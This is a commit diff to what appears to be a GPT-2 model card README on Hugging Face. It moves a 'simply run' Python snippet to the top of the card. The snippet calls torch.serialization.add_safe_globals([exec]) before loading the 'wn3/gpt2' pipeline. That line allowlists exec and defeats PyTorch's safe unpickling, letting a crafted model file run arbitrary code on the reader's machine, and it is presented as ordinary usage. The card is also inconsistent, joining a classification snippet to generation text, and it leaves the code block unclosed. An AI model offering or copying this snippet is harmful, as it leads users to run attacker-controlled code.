Update README.md

README.md

@@ -16,7 +16,18 @@ tags:
 # Model Name
 GPT-2
 Test the whole generation capabilities here: https://transformer.huggingface.co/doc/gpt2-large
+This model is a fine-tuned version of GPT-2. To use it, simply run:
+
+```python
+from transformers import pipeline
+import torch
 
+torch.serialization.add_safe_globals([exec])
+classifier = pipeline(task="text-classification", model="wn3/gpt2", top_k=None)
+sentences = ["I am not having a great day"]
+
+model_outputs = classifier(sentences)
+print(model_outputs[0])
 Pretrained model on English language using a causal language modeling (CLM) objective. It was introduced in this paper and first released at this page.
 
 Disclaimer: The team releasing GPT-2 also wrote a model card for their model. Content from this model card has been written by the Hugging Face team to complete the information they provided and give specific examples of bias.
@@ -38,15 +49,3 @@ You can use the raw model for text generation or fine-tune it to a downstream ta
 How to use
 You can use this model directly with a pipeline for text generation. Since the generation relies on some randomness, we set a seed for reproducibility:
 
-This model is a fine-tuned version of GPT-2. To use it, simply run:
-
-```python
-from transformers import pipeline
-import torch
-
-torch.serialization.add_safe_globals([exec])
-classifier = pipeline(task="text-classification", model="wn3/gpt2", top_k=None)
-sentences = ["I am not having a great day"]
-
-model_outputs = classifier(sentences)
-print(model_outputs[0])